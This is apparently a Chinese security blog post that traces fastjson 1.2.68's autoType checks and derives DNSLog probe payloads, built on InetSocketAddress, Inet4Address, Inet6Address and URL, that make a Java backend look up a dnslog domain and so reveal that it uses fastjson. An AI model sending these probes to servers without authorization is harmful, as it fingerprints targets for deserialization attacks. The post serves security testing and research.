前言
正常测试的时候,发现java后端对json处理都会去测试一下是否存在反序列化,但是后端处理json的组件很多,比如fastjson、jackson、gson等,怎么判断是否使用了fastjson呢?
有一个简便无危害的方式,就是通过dnslog来判断。
大佬们讨论的[issue](https://github.com/alibaba/fastjson/issues/3077)
说明
前面我们在分析的时候,会发现很多有一个变量token在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在com.alibaba.fastjson.parser.JSONToken中我们可以找到答案
public static String name(int value) {switch(value) {case 1:return "error";case 2:return "int";case 3:return "float";case 4:return "string";case 5:return "iso8601";case 6:return "true";case 7:return "false";case 8:return "null";case 9:return "new";case 10:return "(";case 11:return ")";case 12:return "{";case 13:return "}";case 14:return "[";case 15:return "]";case 16:return ",";case 17:return ":";case 18:return "ident";case 19:return "fieldName";case 20:return "EOF";case 21:return "Set";case 22:return "TreeSet";case 23:return "undefined";case 24:return ";";case 25:return ".";case 26:return "hex";default:return "Unknown";}}
分析
- fastjson 1.2.68
- jdk 8u261
分析一下checkAutoType
这个黑名单检测绕过后,会来到如下几个if语句,写了个简单的注释
// 从ConcurrentHashMap类变量mapping中尝试获取这个类,mappings有点像维护的一个基础类库clazz = TypeUtils.getClassFromMapping(typeName);// 如果mapping里面没有这个类,就会尝试从this.deserializers.buckets这个IdentityHashMap类的Map中尝试获取clazz,这个有点像开发者维护的一个可信任类if (clazz == null) {clazz = this.deserializers.findClass(typeName);}// 如果clazz还是为null,就会尝试从this.typeMapping中去获取类,但这个类默认是空的if (clazz == null) {clazz = (Class)this.typeMapping.get(typeName);}// 如果在白名单,就直接加载这个clazzif (internalWhite) {clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);}// 如果clazz不为null,且不满足后续的判定条件,就直接返回clazzif (clazz != null) {if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());} else {return clazz;}}
也就是说,如果我们能在上面的几个Map中找到一些可利用的类,那么默认情况下(关闭autoType的情况)就可以绕过黑白名单检查,直接返回clazz进入后续操作
分析一下里面一共有哪些类
mappings
((ConcurrentHashMap) mappings).keySet()

this.buckets
Object[] a = new Object[9000];for(int i = 0; i < this.buckets.length; ++i) {IdentityHashMap.Entry bucket = this.buckets[i];if (bucket != null) {for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {Object key = bucket.key;a[i] = key.name;}}}return a;

this.typeMapping
默认为空
汇总一下所有类:
java.lang.IndexOutOfBoundsExceptionjava.lang.Integerjava.lang.NoSuchFieldExceptionjava.lang.Longjava.math.BigIntegerjava.lang.LinkageErrorjava.lang.StringIndexOutOfBoundsExceptionjava.lang.StackOverflowErrorlongjava.lang.VerifyErrorjava.util.LinkedHashMapjava.util.Calendarjava.lang.StackTraceElement[longjava.lang.NoSuchMethodErrorjava.util.concurrent.atomic.AtomicLongjava.util.TreeMapjava.util.Datejava.lang.NoSuchFieldErrorjava.util.concurrent.atomic.AtomicIntegerjava.lang.Shortjava.util.Localejava.lang.InstantiationExceptionjava.lang.SecurityExceptionjava.sql.Timestampjava.util.concurrent.ConcurrentHashMapjava.util.UUIDjava.lang.IllegalAccessErrorcom.alibaba.fastjson.JSONObject[shortjava.util.HashSet[bytejava.lang.Booleanjava.sql.Dateshortjava.lang.Objectjava.util.BitSet[charjava.lang.Floatjava.math.BigDecimaljava.lang.Characterjava.lang.InternalError[doublebytedoublejava.lang.Exceptionjava.lang.Double[Bjava.lang.TypeNotPresentException[C[Djava.text.SimpleDateFormat[F[Ijava.util.TreeSet[Jjava.util.ArrayListjava.lang.IllegalMonitorStateExceptioncom.alibaba.fastjson.JSONArray[Sjava.lang.Stringjava.lang.Numberjava.util.LinkedHashSet[Zjava.lang.NegativeArraySizeExceptionjava.lang.NumberFormatExceptionjava.lang.RuntimeExceptioncharjava.lang.OutOfMemoryErrorjava.lang.IllegalStateExceptionjava.sql.Timejava.lang.NoSuchMethodExceptionjava.util.Collections$EmptyMap[booleanfloatjava.lang.AutoCloseablejava.lang.NullPointerExceptionjava.lang.Byte[intcom.alibaba.fastjson.JSONPObjectjava.lang.Cloneablejava.lang.IllegalAccessExceptionjava.util.IdentityHashMapjava.util.HashMapjava.lang.NoClassDefFoundErrorjava.util.Hashtablejava.util.WeakHashMapjava.lang.IllegalThreadStateExceptionjava.lang.IllegalArgumentExceptionintjava.util.concurrent.TimeUnitbooleanjava.lang.InstantiationErrorjava.lang.InterruptedException[floatjava.util.regex.Patterncom.alibaba.fastjson.JSONArrayjava.lang.StringBuilderjava.nio.charset.Charsetjava.math.BigDecimalcharjava.io.Filejava.lang.Stringbooleanjava.net.InetSocketAddressjava.lang.Characterjava.lang.Numberjava.util.concurrent.ConcurrentHashMapjavax.xml.datatype.XMLGregorianCalendarjava.net.Inet4Addressjava.sql.Datejava.util.Collectioncom.alibaba.fastjson.JSONPathjava.util.concurrent.atomic.AtomicIntegerArrayjava.util.TreeMapshortjava.util.Currencyjava.sql.Timejava.lang.Integerdoublejava.lang.Classjava.math.BigIntegercom.alibaba.fastjson.JSONObjectjava.util.concurrent.atomic.AtomicBooleanjava.util.concurrent.atomic.AtomicLongArrayjava.util.HashMapjava.util.TimeZonejava.lang.Comparablejava.util.ArrayListjava.text.SimpleDateFormatcom.alibaba.fastjson.JSONPObjectjava.lang.StringBufferbytejava.io.Closeablejava.lang.Doublejava.util.concurrent.atomic.AtomicIntegerintjava.lang.Floatjava.net.URLjava.util.Listjava.lang.Objectjava.sql.Timestampjava.lang.StackTraceElementjava.net.Inet6Addressjava.util.concurrent.atomic.AtomicLongjava.net.URIjava.util.UUIDjava.lang.Cloneablejava.util.LinkedHashMaplongjava.lang.Shortjava.lang.Byte[Cjava.lang.ref.WeakReferencejava.lang.ref.SoftReferencejava.util.concurrent.ConcurrentMapjava.util.Calendarjava.util.Datejava.util.Localejava.lang.Longjava.util.Mapjava.io.Serializablejava.util.concurrent.atomic.AtomicReferencejava.lang.Booleanfloat
挖掘
既然已经拿到这些类了,我们大概筛选一下哪些是可以用的(这里筛选的是java.net.xxx的,因为带net的几乎都和网络相关可以发起请求)
java.net.InetSocketAddressjava.net.Inet4Addressjava.net.URLjava.net.Inet6Addressjava.net.URI
java.net.InetSocketAddress
初始payload
{"@type":"java.net.InetSocketAddress", "a":"b"}
通过checkAutoType后,成功按照我们的预期返回
然后跟到371行,执行反序列化操纵,跳过这一步会直接抛出错误异常,所以我们跟进
跟进后,判断类,通过
开始判断token,这个时候我们的token是16,即,,不等于8,进入else
来到了parser.accept(token)后,不知道这个函数干啥的,跟进一下,发现原来是判断当前的token是不是传入的token,很明显这里我们是16不是12,所以会抛出异常。
那我们修改一下payload,给他提供一个 {,也就是token=12
{"@type":"java.net.InetSocketAddress"{, "a":"b"}
这个时候我们就能成功通过accept这个函数了,继续向下
发现有个变量className,下方要求他等于address,且期望它下一位的token是17(:)
那我们看看className是怎么得来的,跟进stringVal
发现这就是一个字符串切割函数,this为我们输入的字符串,因为this.hasSpecial为falsethis.np就是当前这个字符串现在的游标位置,而this.sp则是切割的长度,我们再看下这个this.sp是怎么变得
前期阶段,是统计2个"中间的长度的,方便后面切割
后面估计也差不多,发现在进入反序列化过后,paper.accept的时候,会调用nextToken,其中会用到this.sp
跟一下发现,这个字符就是我们payload中{后面的,,期望一个",但是我们传入的是,,所以this.sp就等于0了
所以还需要增加一对",来增加this.sp的值,达到切割字符串的目的
{"@type":"java.net.InetSocketAddress"{"aaa", "a":"b"}
更换payload后,成功通过上方的判断,进入this.scanString(),这里面this.sp++会判断我们输入的字符串长度
此时this.sp问题解决了,我们继续回到lexer.stringVal(),跟进,可以看到现在切割出来的字符串,就是我们传入的aaa
继续往后,发现className要等于address,所以给我们的aaa改成address即可,此外期望token是17,那还需要加一个:
所以修改后的payload
{"@type":"java.net.InetSocketAddress"{"address":"aaa", "a":"b"}
一路顺利,到了parser.parseObject这里会进行类型转换为InetAddress
又是一路顺利,到了deserializer.deserialze,只不过这次传入的Type是InetAddress
又回到了熟悉的地方
然后一顿调,抛出异常了
回看了一下,原来是这个地方要求是16(:),而我们是4(String)。。。
那哪个地方的String出问题了呢?
分析一下当前游标的位置,发现就是"address":后面应该是个,,而不是String
所以再改payload
{"@type":"java.net.InetSocketAddress"{"address":, "a":"b"}
又回到刚才的地方,这次过了,但是要求lexer.stringVal()为val
熟悉的函数,刚才我们分析过了,就是需要一个"xxx",从上面也可以看出来"a"是我们后面的键值对中的键
那我们给a改成val
{"@type":"java.net.InetSocketAddress"{"address":, "val":"b"}
然后回到刚才的条件,继续向后,都是满足的,我们payload中val的值赋给了objVal
类型转换,赋值给strVal
返回InetAddress.getByName(strVal)
而InetAddress.getByName会尝试通过域名获取IP
所以给strVal的值设置为dnslog的URL即可
最终Payload
{"@type":"java.net.InetSocketAddress"{"address":, "val":"enst5r.dnslog.cn"}
成功
最后小小的总结一下:就是整个过程中,缺什么给他补什么
java.net.Inet4Address
初始payload
{"@type":"java.net.Inet4Address", "a":"b"}
运行,经过checkAutoType后反序列化,和上面一样的错,需要val,而此时的值是a
我们给a换成val就行了
{"@type":"java.net.Inet4Address", "val":"b"}
最后解析的时候,一样的方法,InetAddress.getByName(strVal)
最终POC
{"@type":"java.net.Inet4Address", "val":"dnslog"}
java.net.Inet6Address
看了下,和 java.net.Inet4Address 一样,就不再写了
{"@type":"java.net.Inet6Address", "val":"dnslog"}
java.net.URL
这个就不能直接来硬的了,根据我们之前分析过的ysoserial#URLDNS这条链,如果将一个URL对象放置到HashMap中,那么在进行计算hashcode的时候,会触发dnslog请求
所以我们让fastjson给对象反序列化为URL对象的后,再把它放到HashMap中即可
{{"@type":"java.net.URL", "val":"http://8fhj7r.dnslog.cn"}:"a"}
下断点分析,fastjson给前面还原成了URL对象,当做了key
然后继续跟,发现使用put将其添加到HashMap中,所以dnslog收到了请求
java.net.URI
- 不能和URL类类似似使用HashMap计算key的hashCode方法去发起请求
- 内部也没有类似的发起请求的方法
总结
还有一些畸形的payload,可以去前言里面看看issue,原理都差不多
只是大佬们对fastjson的解析流程真的理解太透彻了,羡慕了

